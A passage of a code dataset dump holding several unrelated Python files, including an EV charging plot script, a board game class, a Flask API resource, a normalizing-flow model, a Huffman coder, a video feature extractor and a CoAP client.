[100,85,90,85, 80,77,85, 100,85,90, 85, 80,77,85, 100,85,90,85, 80,77,85, 100,85,90]\ngrid_limit_1 = [100 for i in range(24)]\n\nfinal_current =final_current_5\ngrid_limits =grid_limit_5 \n\n\n\n\ntariffs1 = [0.35, 0.35,0.35,0.35,0.35, 0.35,0.35,0.35,0.35, 0.35,0.35,0.35, 0.1,0.1,0.1,0.1,0.1,0.1,0.1,0.1,0.1,0.1,0.1,0.1] # eur/5 min\ntariffs2 = [0.47, 0.47,0.47,0.46,0.46, 0.46,0.4,0.4,0.4, 0.35,0.35,0.35, 0.38,0.38,0.38,0.33,0.33,0.33,0.38,0.38,0.38,0.48,0.48,0.48] # eur/5 min\ntariffs3 = [0.47, 0.47,0.47,0.46,0.46, 0.46,0.35,0.35,0.35, 0.2,0.2,0.2, 0.2,0.2,0.2,0.3,0.3,0.3,0.38,0.38,0.38,0.44,0.44,0.44] # eur/5 min\n\n\n\ntariffs=tariffs3\n\n\n\n\narrival_time = dt.datetime(2020, 7, 11,13,30) # 2020-07-11 13:30:00\nprint(\"arrival time = \",arrival_time) \nSOC_init= 0.2\nE_demand = 40e3 # 40kWh \nparking_duration = 2 # hrs \nparking_end_time = arrival_time + dt.timedelta(hours=parking_duration) # charing time = 2hr by default\nprint(\"parking end time= \",parking_end_time)\nnum_slots = parking_duration*12 # each slot is 5 min so 12 /hr\n\nx_time = pd.date_range(arrival_time, periods=24, freq='5min')\nvoltage = 400\n\nE_final = voltage * final_current /12000\nP_final = voltage * final_current /1000\n\n\nprint(\"Final energy = \" ,sum(E_final),\"kWh\")\ncost_final = E_final*tariffs\nprint(\"Charging cost = \",sum(cost_final),\" eur\")\n#p.plot(final_current)\n\nSOC = [0 for i in range(len(final_current))]\nSOC[0] = 0.2\n\nfor i in range(len(final_current)-1):\n e = final_current[i]*400/12000\n SOC[i+1] = SOC[i] + e/60\n \nSOC= np.array(SOC)*100 \n\n''' plotting '''\n\nx_time = pd.date_range(arrival_time, periods=24, freq='5min')\n#print(x_time)\n#ticks_to_use = x_time[::2] # every 2nd values will be considered\n#plt.style.use('ggplot')\nfig, (ax1, ax2,ax3,ax4) = plt.subplots(4,1)\n#fig.suptitle('(Constant electricity tariff / No grid limitation)')\n\nax=ax1\nax.step(x_time, tariffs,label='Tariffs',linewidth=2.0, color='gold')\nax.set(ylabel=\"eur/kwh\", title=\"Tariffs\")\n#ax.legend(loc='upper right');\nax.set_xlim(arrival_time, parking_end_time)\nax.set_ylim(0.15, 0.5)\nax.yaxis.set_minor_locator(AutoMinorLocator())\nax.xaxis.set_major_locator(mdates.DayLocator())\nax.xaxis.set_major_formatter(mdates.DateFormatter('\\n%d.%m'))\nax.xaxis.set_minor_locator(mdates.MinuteLocator(interval=5))\nax.xaxis.set_minor_formatter(mdates.DateFormatter('%H:%M'))\nax.grid(which='both')\nax.grid(which='minor', alpha=0.4)\nax.grid(which='major', alpha=0.8)\nfor label in ax.get_xmajorticklabels() + ax.get_xminorticklabels():\n label.set_rotation(20)\n label.set_horizontalalignment(\"right\")\n\nax=ax2\nax.step(x_time, final_current,label='Current')\nax.step(x_time,grid_limits,label='Grid limit')\nax.set(ylabel=\"Current (A)\", title=\"Current HL CMS\")\nax.legend(loc='upper right');\nax.set_xlim(arrival_time, parking_end_time)\nax.set_ylim(0, 110)\nax.yaxis.set_minor_locator(AutoMinorLocator())\n\nax.xaxis.set_major_locator(mdates.DayLocator())\nax.xaxis.set_major_formatter(mdates.DateFormatter('\\n%d.%m'))\nax.xaxis.set_minor_locator(mdates.MinuteLocator(interval=5))\nax.xaxis.set_minor_formatter(mdates.DateFormatter('%H:%M'))\nax.grid(which='both')\nax.grid(which='minor', alpha=0.4)\nax.grid(which='major', alpha=0.8)\nfor label in ax.get_xmajorticklabels() + ax.get_xminorticklabels():\n label.set_rotation(20)\n label.set_horizontalalignment(\"right\")\n\n\n\nax=ax3\nax.plot(x_time, SOC,label='SOC')\nax.set(ylabel=\"SOC %\")\nax.set_xlim(arrival_time, parking_end_time)\nax.set_ylim(0, 105)\nax.yaxis.set_minor_locator(AutoMinorLocator())\nax.xaxis.set_major_locator(mdates.DayLocator())\nax.xaxis.set_major_formatter(mdates.DateFormatter('\\n%d.%m'))\nax.xaxis.set_minor_locator(mdates.MinuteLocator(interval=5))\nax.xaxis.set_minor_formatter(mdates.DateFormatter('%H:%M'))\nax.grid(which='both')\nax.grid(which='minor', alpha=0.4)\nax.grid(which='major', alpha=0.8)\nfor label in ax.get_xmajorticklabels() + ax.get_xminorticklabels():\n label.set_rotation(20)\n label.set_horizontalalignment(\"right\")\n\n\nax=ax4\nax.step(x_time, P_final,label='Power(kW)')\nax.set(ylabel=\"Power(kW)\")\nax.set_xlim(arrival_time, parking_end_time)\nax.set_ylim(0, 45)\nax.yaxis.set_minor_locator(AutoMinorLocator())\nax.xaxis.set_major_locator(mdates.DayLocator())\nax.xaxis.set_major_formatter(mdates.DateFormatter('\\n%d.%m'))\nax.xaxis.set_minor_locator(mdates.MinuteLocator(interval=5))\nax.xaxis.set_minor_formatter(mdates.DateFormatter('%H:%M'))\nax.grid(which='both')\nax.grid(which='minor', alpha=0.4)\nax.grid(which='major', alpha=0.8)\nfor label in ax.get_xmajorticklabels() + ax.get_xminorticklabels():\n label.set_rotation(20)\n label.set_horizontalalignment(\"right\")\n\n\nplt.show()\n","sub_path":"Test_2.py","file_name":"Test_2.py","file_ext":"py","file_size_in_byte":5642,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"243761317","text":"from snake import Snake\nfrom ladder import Ladder\nclass Board:\n\tpositions = range(100)\n\tdef __init__(self):\n\t\tself.length = 10\n\t\tself.snake = []\n\t\tself.snakedict={}\n\t\tself.ladderdict={}\n\t\tself.ladder = [1,2,3,4,5]\n\t\tfor i in range(5):\n\t\t\tsn = Snake()\n\t\t\tself.snakedict[sn.getHead()]=sn.getTail()\n\t\t\tself.snake.append(sn)\n\t\t\tld = Ladder()\n\t\t\tself.ladderdict[ld.getBottom()]=ld.getTop()\n\tdef isSnake(self,no):\n\t\tif no in self.snakedict.keys():\n\t\t\treturn True\n\t\telse:\n\t\t\treturn False\n\tdef isLadder(self,no):\n\t\tif no in self.ladderdict.keys():\n\t\t\treturn True\n\t\telse:\n\t\t\treturn False\n\tdef escalate(self,no):\n\t\treturn self.ladderdict.get(no)\n\tdef deescalate(self,no):\n\t\treturn self.snakedict.get(no)\n\t\n\t\t\n\n","sub_path":"board.py","file_name":"board.py","file_ext":"py","file_size_in_byte":701,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"447127804","text":"from datetime import datetime, timezone\nfrom flask import request, current_app\nfrom sqlalchemy.orm import validates\nfrom app.extensions import api\nfrom app.api.utils.access_decorators import requires_role_edit_permit\nfrom app.api.now_applications.models.now_application_identity import NOWApplicationIdentity\nfrom app.api.now_applications.models.now_application_progress import NOWApplicationProgress\nfrom flask_restplus import Resource, reqparse\nfrom app.api.utils.resources_mixins import UserMixin\nfrom werkzeug.exceptions import BadRequest, NotFound, InternalServerError\nfrom app.api.now_applications.response_models import NOW_APPLICATION_PROGRESS\n\n\nclass NOWApplicationProgressResource(Resource, UserMixin):\n parser = reqparse.RequestParser(trim=True)\n parser.add_argument(\n 'end_date', help='The date when that stage of NOW processing was complete', location='json')\n\n @api.doc(\n description=\n 'Track progress of a Notice of Work application as it moves through its stages, track who progressed the application and when.'\n )\n @requires_role_edit_permit\n @api.marshal_with(NOW_APPLICATION_PROGRESS, code=201)\n def post(self, application_guid, application_progress_status_code):\n identity = NOWApplicationIdentity.find_by_guid(application_guid)\n if identity.now_application is None:\n raise NotFound('Notice of Work not found')\n\n existing_now_progress = next(\n (p for p in identity.now_application.application_progress\n if p.application_progress_status_code == application_progress_status_code), None)\n\n now_progress = None\n if existing_now_progress:\n #RE Open existing date span - starting at original start time\n existing_now_progress.end_date = None\n now_progress = existing_now_progress\n else:\n #Create new datespan - starting now\n new_now_progress = NOWApplicationProgress.create(identity.now_application,\n application_progress_status_code)\n now_progress = new_now_progress\n\n if identity.now_application.now_application_status_code != \"REF\" and application_progress_status_code in [\n \"REF\", \"CON\", \"PUB\"\n ]:\n identity.now_application.previous_application_status_code = identity.now_application.now_application_status_code\n identity.now_application.now_application_status_code = \"REF\"\n identity.save()\n\n try:\n now_progress.save()\n except Exception as e:\n raise InternalServerError(f'Error when saving: {e}')\n\n return now_progress, 201\n\n @api.doc(\n description=\n 'Track progress of a Notice of Work application as it moves through its stages, track who progressed the application and when.'\n )\n @requires_role_edit_permit\n @api.marshal_with(NOW_APPLICATION_PROGRESS, code=201)\n def put(self, application_guid, application_progress_status_code):\n identity = NOWApplicationIdentity.find_by_guid(application_guid)\n\n if identity.now_application is None:\n raise NotFound('Notice of Work not found')\n\n existing_now_progress = next(\n (p for p in identity.now_application.application_progress\n if p.application_progress_status_code == application_progress_status_code), None)\n\n if not existing_now_progress:\n raise NotFound('This progress object has not been created yet')\n\n existing_now_progress.end_date = datetime.now(tz=timezone.utc)\n existing_now_progress.save()\n\n # update application status if referral/consultation/Public Comment are all complete.\n # update status if only one is started and completed.\n if len(identity.now_application.application_progress) >= 1:\n progress_end_dates = [\n progress.end_date for progress in identity.now_application.application_progress\n if progress.application_progress_status_code in [\"REF\", \"CON\", \"PUB\"]\n ]\n\n if progress_end_dates and all([x is not None for x in progress_end_dates]):\n identity.now_application.previous_application_status_code = identity.now_application.now_application_status_code\n identity.now_application.now_application_status_code = \"RCO\"\n identity.save()\n\n if application_progress_status_code == 'REV':\n identity.now_application.add_now_form_to_fap(\n \"This document was automatically created when Technical Review was completed.\")\n\n return existing_now_progress, 200","sub_path":"services/core-api/app/api/now_applications/resources/now_application_progress_resource.py","file_name":"now_application_progress_resource.py","file_ext":"py","file_size_in_byte":4661,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"507408633","text":"from env import SHEETY_ENDPOINT,SHEETY_ENDPOINT2\nimport requests as req\n\n\n\nclass DataManager:\n #This class is responsible for talking to the Google Sheet.\n def __init__(self):\n pass\n\n def get_sheety_data(self):\n res = req.get(url=SHEETY_ENDPOINT)\n res.raise_for_status()\n data = res.json()\n return data\n\n def update_iatacode(self,input_data):\n for data in input_data:\n body = {\"sheet1\":{\n 'city': data['city'],\n 'iataCode': data['iataCode'],\n 'lowestPrice': data['lowestPrice']\n }}\n\n res = req.put(url=SHEETY_ENDPOINT+f\"/{data['id']}\",json=body)\n res.raise_for_status()\n print(res.text)\n\n def get_users(self):\n res = req.get(url=SHEETY_ENDPOINT2)\n res.raise_for_status()\n data = res.json()\n return data\n\n\n\n","sub_path":"data_manager.py","file_name":"data_manager.py","file_ext":"py","file_size_in_byte":891,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"585757713","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport numpy as np\n\n\nclass MaskedLinear(nn.Linear):\n \"\"\"Masked linear layer for MADE: takes in mask as input and masks out connections in the linear layers.\"\"\"\n def __init__(self, input_size, output_size, mask, extra_dim: int = None):\n super().__init__(input_size, output_size)\n self.register_buffer('mask', mask)\n self.extra_dim = extra_dim\n if extra_dim is not None:\n self.extra_weight = nn.Linear(extra_dim, output_size, bias=False)\n\n def forward(self, x, y=None):\n masked_out = F.linear(x, self.mask * self.weight, self.bias)\n if self.extra_dim is not None:\n y_out = self.extra_weight(y)\n return masked_out + y_out\n else:\n return masked_out\n\nclass PermuteLayer(nn.Module):\n \"\"\"Layer to permute the ordering of inputs.\n\n Because our data is 2-D, forward() and inverse() will reorder the data in the same way.\n \"\"\"\n def __init__(self, num_inputs):\n super(PermuteLayer, self).__init__()\n self.perm = np.array(np.arange(0, num_inputs)[::-1])\n\n def forward(self, inputs):\n return inputs[:, self.perm], torch.zeros(\n inputs.size(0), 1, device=inputs.device)\n\n def inverse(self, inputs):\n return inputs[:, self.perm], torch.zeros(\n inputs.size(0), 1, device=inputs.device)\n\n\nclass MADE(nn.Module):\n \"\"\"Masked Autoencoder for Distribution Estimation.\n https://arxiv.org/abs/1502.03509\n\n Uses sequential ordering as in the MAF paper.\n Gaussian MADE to work with real-valued inputs\"\"\"\n def __init__(self, input_size, hidden_size, n_hidden, condition_dim: int):\n super().__init__()\n self.input_size = input_size\n self.hidden_size = hidden_size\n self.n_hidden = n_hidden\n\n masks = self.create_masks()\n\n # construct layers: inner, hidden(s), output\n self.net = [MaskedLinear(self.input_size, self.hidden_size, masks[0], extra_dim=condition_dim)]\n self.net += [nn.ReLU(inplace=True)]\n # iterate over number of hidden layers\n for i in range(self.n_hidden):\n self.net += [MaskedLinear(\n self.hidden_size, self.hidden_size, masks[i+1])]\n self.net += [nn.ReLU(inplace=True)]\n # last layer doesn't have nonlinear activation\n self.net += [MaskedLinear(\n self.hidden_size, self.input_size * 2, masks[-1].repeat(2,1))]\n self.net = nn.Sequential(*self.net)\n\n def create_masks(self):\n \"\"\"\n Creates masks for sequential (natural) ordering.\n \"\"\"\n masks = []\n input_degrees = torch.arange(self.input_size)\n degrees = [input_degrees] # corresponds to m(k) in paper\n\n # iterate through every hidden layer\n for n_h in range(self.n_hidden+1):\n degrees += [torch.arange(self.hidden_size) % (self.input_size - 1)]\n degrees += [input_degrees % self.input_size - 1]\n self.m = degrees\n\n # output layer mask\n for (d0, d1) in zip(degrees[:-1], degrees[1:]):\n masks += [(d1.unsqueeze(-1) >= d0.unsqueeze(0)).float()]\n\n return masks\n\n def forward(self, z):\n \"\"\"\n Run the forward mapping (z -> x) for MAF through one MADE block.\n :param z: Input noise of size (batch_size, self.input_size)\n :return: (x, log_det). log_det should be 1-D (batch_dim,)\n \"\"\"\n x = torch.zeros_like(z)\n \n # YOUR CODE STARTS HERE\n for idx in range(self.input_size):\n theta = self.net(x)\n mu, std = theta[:,idx], theta[:,self.input_size + idx].exp()\n x[:,idx] = z[:,idx] * std + mu\n log_det = None\n # YOUR CODE ENDS HERE\n\n return x, log_det\n\n def inverse(self, x, y):\n \"\"\"\n Run one inverse mapping (x -> z) for MAF through one MADE block.\n :param x: Input data of size (batch_size, self.input_size)\n :return: (z, log_det). log_det should be 1-D (batch_dim,)\n \"\"\"\n # YOUR CODE STARTS HERE\n theta = self.net[0](x, y)\n theta = self.net[1:](theta)\n mu, alpha = theta[:,:self.input_size], theta[:,self.input_size:]\n z = (x - mu) / alpha.exp()\n log_det = -alpha.sum(-1)\n # YOUR CODE ENDS HERE\n\n return z, log_det\n\n\nclass MAF(nn.Module):\n \"\"\"\n Masked Autoregressive Flow, using MADE layers.\n https://arxiv.org/abs/1705.07057\n \"\"\"\n def __init__(self, input_size, hidden_size, n_hidden, n_flows, condition_dim):\n super().__init__()\n self.input_size = input_size\n self.hidden_size = hidden_size\n self.n_hidden = n_hidden\n self.n_flows = n_flows\n self.base_dist = torch.distributions.normal.Normal(0,1)\n \n # need to flip ordering of inputs for every layer\n nf_blocks = []\n for i in range(self.n_flows):\n nf_blocks.append(\n MADE(self.input_size, self.hidden_size, self.n_hidden, condition_dim=condition_dim))\n nf_blocks.append(PermuteLayer(self.input_size)) # permute dims\n self.nf = nn.Sequential(*nf_blocks)\n\n def log_probs(self, x, y):\n \"\"\"\n Obtain log-likelihood p(x) through one pass of MADE\n :param x: Input data of size (batch_size, self.input_size)\n :return: log_prob. This should be a Python scalar.\n \"\"\"\n # YOUR CODE STARTS HERE\n z = x\n log_det_sum = 0\n for idx, flow in enumerate(self.nf):\n if isinstance(flow, PermuteLayer):\n z, log_det = flow.inverse(z)\n else:\n z, log_det = flow.inverse(z, y)\n log_det_sum += log_det.squeeze()\n log_prob = (self.base_dist.log_prob(z).sum(-1) + log_det_sum).mean()\n # YOUR CODE ENDS HERE\n\n return log_prob\n\n def loss(self, x):\n \"\"\"\n Compute the loss.\n :param x: Input data of size (batch_size, self.input_size)\n :return: loss. This should be a Python scalar.\n \"\"\"\n return -self.log_probs(x)\n\n def sample(self, device, n):\n \"\"\"\n Draw number of samples from the model.\n :param device: [cpu,cuda]\n :param n: Number of samples to be drawn.\n :return: x_sample. This should be a numpy array of size (n, self.input_size)\n \"\"\"\n with torch.no_grad():\n x_sample = torch.randn(n, self.input_size).to(device)\n for flow in self.nf[::-1]:\n x_sample, log_det = flow.forward(x_sample)\n x_sample = x_sample.view(n, self.input_size)\n x_sample = x_sample.cpu().data.numpy()\n\n return x_sample\n","sub_path":"torch_rl/flow_network.py","file_name":"flow_network.py","file_ext":"py","file_size_in_byte":6712,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"290182932","text":"#! /usr/bin/python3\n# *-* coding: utf-8 *-*\n\"\"\"25collections-counter\n@Author: wikinee\n@License: MIT\n\"\"\"\n\nfrom collections import Counter\n\nprint(\"--- Counter Example ---\")\ncolours = (\n ('Yasoob', 'Yellow'),\n ('Ali', 'Blue'),\n ('Arham', 'Green'),\n ('Ali', 'Black'),\n ('Yasoob', 'Red'),\n ('Ahmed', 'Silver'),\n)\n\nfavs = Counter(name for name, colour in colours)\nprint(favs)\n\nprint(\"--- Counter file ---\")\ntry:\n with open('filename', 'rb') as f:\n line_count = Counter(f)\n print(line_count)\nexcept Exception as e:\n print(e)","sub_path":"Python/interpy/25collections-counter.py","file_name":"25collections-counter.py","file_ext":"py","file_size_in_byte":551,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"237126580","text":"# extract train feature and label\n#python featureExtractor.py ../../hw4_data/FullLengthVideos/videos/train ../../hw4_data/FullLengthVideos/labels/train ./ train\n\n# extract valid feature and label\n#python featureExtractor.py ../../hw4_data/FullLengthVideos/videos/valid ../../hw4_data/FullLengthVideos/labels/valid ./ valid\n\nimport os\nimport glob\nimport numpy as np\nimport sys\n\nimport torch\nimport torchvision.transforms as transforms\n\nfrom PIL import Image\nfrom tqdm import tqdm\nfrom model import Resnet50\ntqdm.pandas()\n\n\n# data source\nvideo_path = sys.argv[1] #TrimmedVideos/video/valid\nlabelfile_path = sys.argv[2] #TrimmedVideos/video/valid\nsave_path = sys.argv[3] #TrimmedVideos/label/gt_valid.csv\nmode = sys.argv[4]\n\n\n# getting absolute filepath\nvideodir_filenames = sorted(glob.glob(os.path.join(video_path, '*')))\nvideodir_names = [videodir_filename.split('/')[-1] for videodir_filename in videodir_filenames]\nlabel_filenames = []\nif mode != \"test\": label_filenames = sorted(glob.glob(os.path.join(labelfile_path, '*.txt')))\n\n\n# loading videos\nvideos = []\nvideos_len = []\nprint(\"\\nloading videos...\")\nwith tqdm(total=len(videodir_filenames)) as pbar:\n for videodir_filename in videodir_filenames:\n video = []\n frame_filenames = sorted(glob.glob(os.path.join(videodir_filename, '*')))\n videos_len.append(len(frame_filenames))\n for frame_filename in frame_filenames:\n frame = Image.open(frame_filename).convert('RGB')\n video.append(frame)\n videos.append(video)\n #print(len(video))\n pbar.update(1)\n\n\n# extracting features\ncnn_feature_extractor = Resnet50().cuda() # to 2048 dims\ntransform=transforms.Compose([\n transforms.Pad((0,40),fill=0,padding_mode='constant'),\n transforms.Resize(224),\n transforms.ToTensor(),\n transforms.Normalize((0.485, 0.456, 0.406), (0.229, 0.224, 0.225)),\n ])\ncnn_feature_extractor.eval()\nvideos_features = []\nprint(\"\\nextracting videos feature...\")\nwith torch.no_grad():\n with tqdm(total=len(videodir_filenames)) as pbar:\n for video in videos:\n # make a video as a large torch batch\n local_batch = []\n for frame in video:\n frame = transform(frame)\n local_batch.append(frame)\n local_batch = torch.stack(local_batch)\n\n # extract feature by parts\n video_features = []\n datalen = len(local_batch)\n BATCH_SIZE = 200\n for batch_idx, batch_val in enumerate(range(0,datalen ,BATCH_SIZE)):\n if batch_val+BATCH_SIZE > datalen: input_part = local_batch[batch_val:]\n input_part = local_batch[batch_val:batch_val+BATCH_SIZE]\n video_features_part = cnn_feature_extractor(input_part.cuda())\n videos_features.append(video_features_part)\n #print(video_features_part.shape)\n \"\"\"\n video_features.append(video_features_part)\n # concate back as a pack of 2048d feature of a video\n video_features = torch.cat(video_features)\n videos_features.append(video_features) # here is the different, we output hole batch feature as nx2048d dim\n print(video_features.shape)\n \"\"\"\n pbar.update(1)\n\n\n# save feature torch as file\ntorch.save(videos_features, os.path.join(save_path,mode+'_features.pt'))\n# load feature file as torch for test\nvideos_features = torch.load(os.path.join(save_path,mode+'_features.pt'))\nprint(mode+\"_features:\",len(videos_features))\n\n\n# loading labels for each videos\nif mode != \"test\":\n print(\"\\nloading labels...\")\n videos_label_vals = []\n for label_filename in label_filenames:\n f = open(label_filename,'r')\n video_label_vals = f.read().splitlines()\n video_label_vals = np.array(video_label_vals).astype(int)\n datalen = len(video_label_vals)\n BATCH_SIZE = 200\n for batch_idx, batch_val in enumerate(range(0,datalen ,BATCH_SIZE)):\n if batch_val+BATCH_SIZE > datalen: input_part = video_label_vals[batch_val:]\n video_label_vals_part = video_label_vals[batch_val:batch_val+BATCH_SIZE]\n video_label_vals_part = torch.LongTensor(video_label_vals_part)\n videos_label_vals.append(video_label_vals_part)\n print(len(video_label_vals_part))\n \"\"\"\n video_label_vals = torch.LongTensor(video_label_vals)\n videos_label_vals.append(video_label_vals)\n print(len(video_label_vals))\n \"\"\"\n # save feature torch as file\n torch.save(videos_label_vals, os.path.join(save_path,mode+'_vals.pt'))\n # load feature file as torch for test\n test_labels = torch.load(os.path.join(save_path,mode+'_vals.pt'))\n print(mode+\"_labels:\",len(test_labels))\n\n# save video info\nif mode == \"test\":\n output = []\n output.append(videodir_names)\n output.append(videos_len)\n torch.save(output, os.path.join(save_path,mode+'_infos.pt'))\n","sub_path":"hw4_rnn_action_recognition/rnn_based_seqOut/featureExtractor.py","file_name":"featureExtractor.py","file_ext":"py","file_size_in_byte":5082,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"344495368","text":"import unittest\n\nfrom testutils import getZserioApi\n\nclass FunctionSelectorChoiceTest(unittest.TestCase):\n @classmethod\n def setUpClass(cls):\n cls.api = getZserioApi(__file__, \"choice_types.zs\").function_selector_choice\n\n def testField8(self):\n selector = self.api.Selector.fromFields(8)\n testChoice = self.api.TestChoice(selector)\n testChoice.setField8(0x7F)\n self.assertEqual(0x7F, testChoice.getField8())\n self.assertEqual(8, testChoice.bitSizeOf())\n\n def testField16(self):\n selector = self.api.Selector.fromFields(16)\n testChoice = self.api.TestChoice(selector)\n testChoice.setField16(0x7F7F)\n self.assertEqual(0x7F7F, testChoice.getField16())\n self.assertEqual(16, testChoice.bitSizeOf())\n","sub_path":"test/language/choice_types/python/FunctionSelectorChoiceTest.py","file_name":"FunctionSelectorChoiceTest.py","file_ext":"py","file_size_in_byte":784,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"522907962","text":"import heapq\n\nclass PriorityQueue:\n def __init__(self):\n self.elements = []\n \n def length(self):\n return len(self.elements)\n \n def put(self, item, priority):\n heapq.heappush(self.elements, (priority, item))\n \n def get(self):\n return heapq.heappop(self.elements)[1]\n \nclass Node():\n #side: 0 for left child, 1 otherwise, symbol is None for each internal node\n def __init__(self,symbol,weight):\n self.symbol = symbol\n self.weight = weight\n self.parent = None\n self.side = None\n self.l_child = None\n self.r_child = None\n \n def __lt__(self,other):\n return self.weight<=other.weight\n \n def set_parent(self,parent,side):\n self.parent = parent\n self.side = side\n \n def set_child(self,left_child,right_child):\n if self.l_child==None:\n self.l_child = left_child\n if self.r_child==None:\n self.r_child = right_child\n \n def get_parent(self):\n return self.parent\n \n def get_child(self,side):\n if int(side) == 0:\n return self.l_child\n elif int(side) ==1:\n return self.r_child\n \n def get_weight(self):\n return self.weight\n \n def get_symbol(self):\n return self.symbol\n \n def get_side(self):\n return self.side\n \n \ndef build_huffman_tree(symbols,weights):\n tree = []\n queue = PriorityQueue()\n if len(symbols) != len(weights):\n print('symbols should have same length as weights')\n raise ValueError\n \n for i in range(len(symbols)):\n node = Node(symbols[i],weights[i])\n tree.append(node)\n queue.put(node,node.get_weight())\n \n while queue.length()!=1:\n #poping two nodes with lowest freq and creating new parent node:\n node_1 = queue.get()\n node_2 = queue.get()\n new_node = Node(None,(node_1.get_weight()+node_2.get_weight()))\n new_node.set_child(node_1,node_2)\n tree.append(new_node)\n queue.put(new_node,new_node.get_weight())\n node_1.set_parent(new_node,0)\n node_2.set_parent(new_node,1)\n \n return tree\n\n#returns symbols and freqs from text in two lists\ndef get_freq(text):\n text = str(text)\n symbols = []\n freqs = []\n for i,char in enumerate(text):\n if char not in symbols:\n count = 0\n for j in range(i,len(text)):\n if text[j] == char:\n count+=1\n symbols.append(char)\n freqs.append(count)\n \n return symbols,freqs\n \n\n#returns symbol's code as string\ndef get_code(char,huffman_tree):\n for node in huffman_tree:\n if node.get_symbol()==char:\n code = []\n while node.get_parent() != None:\n code.append(str(node.get_side()))\n node = node.get_parent()\n \n return list(reversed(code))\n\n\n\n\ndef dump_huffman_tree(huffman_tree,node,string,num_of_leaves):\n if node.get_symbol()!=None:\n string.append(\"1\")\n num_of_leaves[0]-=1\n symbol_code = bin(ord(node.get_symbol()))[2:]\n if len(symbol_code)>7:\n print('symbol out of ASCII range')\n to_pad = 7-len(symbol_code)\n padded_symbol = \"0\"*to_pad+symbol_code\n string.append(padded_symbol)\n if num_of_leaves[0]==0:\n return 0\n else:\n string.append(\"0\")\n dump_huffman_tree(huffman_tree,node.get_child(0),string,num_of_leaves)\n dump_huffman_tree(huffman_tree,node.get_child(1),string,num_of_leaves)\n \n \n \n \n\n#encodes text as string of 0 and 1\ndef huffman_encode(text):\n symbols,freqs = get_freq(text)\n huffman_tree = build_huffman_tree(symbols,freqs)\n encoded = []\n for char in text:\n for element in get_code(char,huffman_tree):\n encoded.append(element)\n \n encoded_text = \"\".join(encoded)\n for node in huffman_tree:\n if node.get_symbol()==None:\n root = node\n dumped_tree = []\n dump_huffman_tree(huffman_tree,root,dumped_tree,[len(symbols)])\n string = \"\"\n for item in dumped_tree:\n string+=str(item)\n encoded_text = string+encoded_text\n #first 7 bits is number of symbols\n prefix = bin(len(symbols))[2:]\n if len(prefix)<=7:\n prefix = '0'*(7-len(prefix))+prefix\n else:\n print('to many symbols to encode in 7-bits')\n raise ValueError\n return prefix+encoded_text\n \n \ndef reconstruct_from_node(tree,current_input,text,parent,side):\n if current_input[2]==True:\n return\n #current input = [index in text,leaves to go]\n if int(text[current_input[0]]) == 0:\n new_node = Node(None,None)\n new_node.set_parent(parent,side)\n if side==0:\n parent.set_child(new_node,None)\n elif side ==1:\n parent.set_child(None,new_node)\n tree.append(new_node)\n current_input[0]+=1\n reconstruct_from_node(tree,current_input,text,new_node,0)\n reconstruct_from_node(tree,current_input,text,new_node,1)\n return\n \n if int(text[current_input[0]]) == 1:\n code = text[current_input[0]+1:current_input[0]+8]\n code = int(code,2)\n symbol = chr(code)\n new_node = Node(symbol,None)\n new_node.set_parent(parent,side)\n tree.append(new_node)\n if side == 0:\n parent.set_child(new_node,None)\n elif side == 1:\n parent.set_child(None,new_node)\n current_input[0]+=8\n current_input[1]-=1\n if current_input[1]==0:\n current_input[2]=True\n return\n \n \n \n \n\ndef reconstruct_huffman_tree(text):\n number_of_symbols = int(text[:7],2)\n huffman_tree = []\n input_number = 7\n \n current_input = [input_number,number_of_symbols,False]\n reconstruct_from_node(huffman_tree,current_input,text,None,None)\n \n return huffman_tree,current_input[0]\n \n \n \n \n \ndef huffman_decode(text):\n huffman_tree,start = reconstruct_huffman_tree(text)\n text = text[start:]\n decoded = []\n i = 0\n for node in huffman_tree:\n if node.get_parent() == None:\n root = node\n \n node = root\n while i65535:\n print(\"using default port: \"+ self.port)\n\n\n self.serverAddr = (self.host, self.port)\n self.url = \"coap://\"+self.host+\":\"+str(self.port)\n#init methods\n def initClient(self):\n try:\n self.client = HelperClient(server=(\"192.171.241.8\", 5683))\n print(\"Created Reference: \"+ str(self.client))\n print(\" coap://\"+self.host+ \":\" + str(self.port))\n\n except Exception:\n print(\"Failed to Connect to client: \"+ self.host)\n pass\n#to handle get request\n def GetRequestHandler(self,resource):\n print(\"Testing GET for resource: \"+ resource)\n\n self.initClient()\n\n response = self.client.get(resource)\n\n if response:\n print(\"FROM SERVER: \"+response.pretty_print())\n print(\"WithPAYLOAD: \"+ response.payload)\n\n else:\n print(\"No response for the GET request: \"+ resource)\n\n self.client.stop()\n\n#to handle post request\n def PostRequestHandler(self, resource, payload):\n print(\"Test POST for resource: \"+ resource)\n\n self.initClient()\n\n response = self.client.post(resource, payload)\n\n if response:\n print(\"Server Response to POST: \"+ response.pretty_print())\n\n\n else:\n print(\"No response for the POST requeste: \"+ resource)\n\n self.client.stop()\n\n#to handle put request\n def PutRequestHandler(self, resource, payload):\n print(\"Test PUT for resource: \"+ resource)\n\n self.initClient()\n\n response = self.client.put(resource, payload)\n\n if response:\n print(\"Server Response to PUT: \"+response.pretty_print())\n\n else:\n print(\"No response for the PUT request: \"+ resource)\n\n self.client.stop()\n\n#to handle delete request\n def DeleteRequestHandler(self, resource, payload):\n print(\"Testing DELETE for resource: \"+ resource)\n\n self.initClient()\n\n response = self.client.delete(resource)\n\n if response:\n print(\"Server Response to delete: \"+response.pretty_print())\n\n else:\n print(\"No response for the DELETE request: \"+ resource)\n\n self.client.stop()\n\n#to handle server ping\n def ServerPing(self):\n\n print(\"ping to server\")\n\n self.initClient()\n def disconnectClient(self):\n self.client.close() 